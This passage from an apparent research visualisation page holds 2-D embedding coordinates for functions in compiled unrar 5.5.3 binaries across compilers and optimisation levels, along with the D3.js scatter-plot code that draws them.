19.836259841918945, "function_name": "_ZN10ThreadPoolC1E", "y": 7.040642261505127}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": 20.452789306640625, "function_name": "_ZN10ThreadPoolC1E", "y": 5.600571155548096}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": 20.984861373901367, "function_name": "_ZN10ThreadPoolC1E", "y": 6.713048934936523}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": 19.791982650756836, "function_name": "_ZN10ThreadPoolC1E", "y": 5.794957160949707}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 18.08830451965332, "function_name": "_ZN10ThreadPoolC1E", "y": -19.192073822021484}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 17.954797744750977, "function_name": "_ZN10ThreadPoolC1E", "y": -19.36996841430664}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 18.1506290435791, "function_name": "_ZN10ThreadPoolC1E", "y": -19.12969207763672}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -4.310708999633789, "function_name": "_ZN10ThreadPoolC1E", "y": 21.00031089782715}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -4.316869258880615, "function_name": "_ZN10ThreadPoolC1E", "y": 21.007341384887695}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -4.307609558105469, "function_name": "_ZN10ThreadPoolC1E", "y": 21.009790420532227}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.ELF", "x": 29.0659122467041, "function_name": "_ZN10ThreadPoolC1E", "y": -11.963103294372559}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 29.183263778686523, "function_name": "_ZN10ThreadPoolC1E", "y": -11.095622062683105}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 29.19379997253418, "function_name": "_ZN10ThreadPoolC1E", "y": -11.096447944641113}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 29.183263778686523, "function_name": "_ZN10ThreadPoolC1E", "y": -11.095623016357422}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 15.073601722717285, "function_name": "_ZN10ThreadPoolC1E", "y": -15.117616653442383}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 15.07718563079834, "function_name": "_ZN10ThreadPoolC1E", "y": -15.12277889251709}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.7.3.0.nopic.ELF", "x": 15.066710472106934, "function_name": "_ZN10ThreadPoolC1E", "y": -15.110097885131836}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.ELF", "x": -1.4405021667480469, "function_name": "_ZN11CommandDataD2E", "y": -21.792503356933594}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.nopic.nopie.ELF", "x": -1.8842875957489014, "function_name": "_ZN11CommandDataD2E", "y": -21.439512252807617}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.ELF", "x": -1.6617885828018188, "function_name": "_ZN11CommandDataD2E", "y": -21.158721923828125}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.nopic.nopie.ELF", "x": -1.2671598196029663, "function_name": "_ZN11CommandDataD2E", "y": -21.46006965637207}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.ELF", "x": -3.0114026069641113, "function_name": "_ZN11CommandDataD2E", "y": -22.79054832458496}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.nopic.nopie.ELF", "x": -3.2515251636505127, "function_name": "_ZN11CommandDataD2E", "y": -23.068897247314453}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.ELF", "x": -2.8765783309936523, "function_name": "_ZN11CommandDataD2E", "y": -23.418886184692383}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.nopic.nopie.ELF", "x": -2.5975632667541504, "function_name": "_ZN11CommandDataD2E", "y": -23.158321380615234}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 3.183776378631592, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop.", "y": -9.08642292022705}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 3.181102752685547, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop.", "y": -9.08932876586914}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 0.834383487701416, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop.", "y": -6.502518653869629}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 0.8369006514549255, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop.", "y": -6.501232624053955}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 0.8381417393684387, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop.", "y": -6.502352714538574}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.8.0.1.nopic.nopie.ELF", "x": 1.6631851196289062, "function_name": "_ZN8Rijndael14GenerateTablesEv.constprop.", "y": -7.42684268951416}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 1.7667406797409058, "function_name": "_ZN11SecPassword3SetEPK", "y": -12.750064849853516}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 1.760945200920105, "function_name": "_ZN11SecPassword3SetEPK", "y": -12.738938331604004}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 1.7619470357894897, "function_name": "_ZN11SecPassword3SetEPK", "y": -12.739229202270508}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 3.6331300735473633, "function_name": "_ZN11SecPassword3SetEPK", "y": -13.768744468688965}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 3.634061813354492, "function_name": "_ZN11SecPassword3SetEPK", "y": -13.7700834274292}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": 2.264099359512329, "function_name": "_ZN11SecPassword3SetEPK", "y": -15.47569465637207}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": -14.476574897766113, "function_name": "_ZN11SecPassword3SetEPK", "y": -1.4712845087051392}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": -14.493581771850586, "function_name": "_ZN11SecPassword3SetEPK", "y": -1.4773848056793213}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 7.538159370422363, "function_name": "_ZN11SecPassword3SetEPK", "y": -15.90799331665039}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 7.540555477142334, "function_name": "_ZN11SecPassword3SetEPK", "y": -15.908116340637207}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 7.540589332580566, "function_name": "_ZN11SecPassword3SetEPK", "y": -15.907362937927246}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": -14.919788360595703, "function_name": "_ZN11SecPassword3SetEPK", "y": -0.886197566986084}] body { font: 15px sans-serif; } .axis path, .axis line { fill: none; stroke: #000; shape-rendering: crispEdges; } .dot { stroke: none; } .tooltip { position: absolute; font-size: 12px; width: auto; height: auto; pointer-events: none; background-color: white; }
var data = JSON.parse(document.getElementById("point_data").innerHTML); var makeVis = function(data) { // Common pattern for defining vis size and margins var margin = { top: 20, right: 20, bottom: 30, left: 40 }, width = 600 height = 600 // Add the visualization svg canvas to the vis-container var canvas = d3.select("#vis-container").append("svg") .attr("width", width + margin.left + margin.right) .attr("height", height + margin.top + margin.bottom) .append("g") .attr("transform", "translate(" + margin.left + "," + margin.top + ")"); // Define our scales var colorScale = d3.scale.category10(); var xScale = d3.scale.linear() .domain([ d3.min(data, function(d) { return d.x; }) - 1, d3.max(data, function(d) { return d.x; }) + 1 ]) .range([0, width]); var yScale = d3.scale.linear() .domain([ d3.min(data, function(d) { return d.y; }) - 1, d3.max(data, function(d) { return d.y; }) + 1 ]) .range([0, height]); // Define our axes var xAxis = d3.svg.axis() .scale(xScale) .orient('bottom'); var yAxis = d3.svg.axis() .scale(yScale) .orient('left'); // Add x-axis to the canvas canvas.append("g") .attr("class", "x axis") .attr("transform", "translate(0," + height + ")") // axis at bottom .call(xAxis) .append("text") .attr("class", "label") .attr("x", width) // x-offset from the xAxis, move label all the way to the right .attr("y", -6) // y-offset from the xAxis, moves text UPWARD! .style("text-anchor", "end") // right-justify text .text(""); // Add y-axis to the canvas canvas.append("g") .attr("class", "y axis") // .orient('left') took care of axis positioning for us .call(yAxis) .append("text") .attr("class", "label") .attr("transform", "rotate(-90)") // although axis is rotated, text is not .attr("y", 15) // y-offset from yAxis .style("text-anchor", "end") .text(""); // Add the tooltip container to the vis container // it's invisible and its position/contents are defined during mouseover var tooltip = d3.select("#vis-container").append("div") .attr("class", "tooltip") .style("opacity", 0); // tooltip mouseover event handler var tipMouseover = function(d) { var color = colorScale(d.function_name); var html = d.file_name + "
" + "" + d.function_name + "
"; tooltip.html(html) .style("left", (d3.event.pageX + 15) + "px") .style("top", (d3.event.pageY - 28) + "px") .transition() .duration(200) // ms .style("opacity", .9); }; // tooltip mouseout event handler var tipMouseout = function(d) { tooltip.transition() .duration(300) // ms .style("opacity", 0); // don't care about position! }; // Add data points! canvas.selectAll(".dot") .data(data) .enter().append("circle") .attr("class", "dot") .attr("r", 3) // radius size, could map to another data dimension .attr("cx", function(d) { return xScale( d.x ); }) // x position .attr("cy", function(d) { return yScale( d.y ); }) // y position .style("fill", function(d) { return colorScale(d.function_name); }) .on("mouseover", tipMouseover) .on("mouseout", tipMouseout); }; makeVis(data);
Learned weights:[{"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.ELF", "x": 36.34896469116211, "y": 11.023441314697266, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.nopic.nopie.ELF", "x": 36.34883117675781, "y": 11.02384090423584, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.ELF", "x": 36.75743865966797, "y": 10.815787315368652, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.nopic.nopie.ELF", "x": 36.75692367553711, "y": 10.815635681152344, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.ELF", "x": 30.569169998168945, "y": 11.884125709533691, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.nopic.nopie.ELF", "x": 30.569169998168945, "y": 11.884125709533691, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.ELF", "x": 30.88493537902832, "y": 11.670598983764648, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.nopic.nopie.ELF", "x": 30.88493537902832, "y": 11.670598983764648, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.ELF", "x": 29.639039993286133, "y": 10.410852432250977, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.nopic.nopie.ELF", "x": 29.326066970825195, "y": 9.659539222717285, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.ELF", "x": 29.306787490844727, "y": 10.523666381835938, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.nopic.nopie.ELF", "x": 29.6875, "y": 9.620694160461426, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.ELF", "x": 29.962392807006836, "y": 10.144831657409668, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.nopic.nopie.ELF", "x": 29.051986694335938, "y": 10.3271484375, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.ELF", "x": 29.05490493774414, "y": 9.91043758392334, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.nopic.nopie.ELF", "x": 30.022232055664062, "y": 9.862061500549316, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.ELF", "x": 28.923622131347656, "y": 5.462802886962891, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.nopic.nopie.ELF", "x": 28.9239559173584, "y": 5.462764263153076, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.ELF", "x": 28.923871994018555, "y": 5.4627766609191895, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.nopic.nopie.ELF", "x": 28.923871994018555, "y": 5.4627766609191895, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.ELF", "x": 31.43787956237793, "y": -3.2293639183044434, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.ELF", "x": 31.438215255737305, "y": -3.229544162750244, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.ELF", "x": 32.20000076293945, "y": 1.1940102577209473, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 32.883880615234375, "y": 4.546204566955566, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 35.93056106567383, "y": 1.6423826217651367, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": 37.16485595703125, "y": 3.5887606143951416, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": 33.60478591918945, "y": 3.6939334869384766, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 33.733673095703125, "y": 0.8095091581344604, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 35.42502975463867, "y": -2.083475112915039, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 34.614524841308594, "y": 0.9706849455833435, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 37.37437438964844, "y": 5.453577995300293, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 35.92726135253906, "y": 3.141937494277954, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 34.31211853027344, "y": -1.447121500968933, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 34.28908920288086, "y": 0.009259354323148727, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 38.3096809387207, "y": 6.275706768035889, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 32.718040466308594, "y": 0.17057059705257416, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 34.187538146972656, "y": 2.8289666175842285, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 34.30384826660156, "y": 4.695415019989014, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 33.238304138183594, "y": 2.647231340408325, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 37.075889587402344, "y": 0.24438849091529846, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": 39.49156951904297, "y": 5.648394584655762, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 38.78889465332031, "y": 3.362748384475708, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 40.417457580566406, "y": 4.538576126098633, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 40.76422882080078, "y": 3.13468599319458, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 34.55632781982422, "y": 3.823423147201538, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": 33.25279998779297, "y": 1.6338194608688354, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": 34.494197845458984, "y": 6.2300591468811035, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 35.46625518798828, "y": 3.812239170074463, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 32.3913688659668, "y": 3.5074777603149414, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 33.57400894165039, "y": 5.459967613220215, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 37.016197204589844, "y": -0.8475016951560974, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 36.020713806152344, "y": -1.1174007654190063, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 39.96193313598633, "y": -0.2511129379272461, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 39.161190032958984, "y": 0.8520728349685669, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 37.377620697021484, "y": 4.547222137451172, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 37.09388732910156, "y": 1.2698785066604614, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 37.88619613647461, "y": 0.22053100168704987, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 37.08866500854492, "y": 6.618243217468262, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 38.129417419433594, "y": 4.038534641265869, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": 36.78649139404297, "y": -2.03666615486145, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.ELF", "x": 35.76103973388672, "y": 6.618260383605957, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": 36.42861557006836, "y": 4.737588882446289, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": 36.45451736450195, "y": 3.9059627056121826, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": 36.603515625, "y": 2.8452346324920654, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": 38.82807159423828, "y": -0.02321881242096424, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": 38.37392807006836, "y": 2.5383780002593994, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": 39.72954177856445, "y": 1.622060775756836, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": 36.437931060791016, "y": 0.8150306940078735, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": 37.978885650634766, "y": -0.7906495928764343, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 39.72366714477539, "y": 3.515674114227295, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 35.59834289550781, "y": 2.36892032623291, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": 39.1397705078125, "y": -1.1868168115615845, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.7.3.0.nopic.nopie.ELF", "x": 40.53458786010742, "y": 0.7277575731277466, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 36.59782028198242, "y": 1.9636002779006958, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 36.27167892456055, "y": -0.12080654501914978, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 39.53989028930664, "y": 2.5447258949279785, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.g++.8.0.1.nopic.ELF", "x": 39.14799499511719, "y": 4.441991806030273, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": 40.81929016113281, "y": 1.9749683141708374, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 38.36568832397461, "y": 5.068949222564697, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 38.718048095703125, "y": 1.7759709358215332, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 37.790924072265625, "y": 3.114454746246338, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": 37.77934646606445, "y": 1.767897129058838, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": 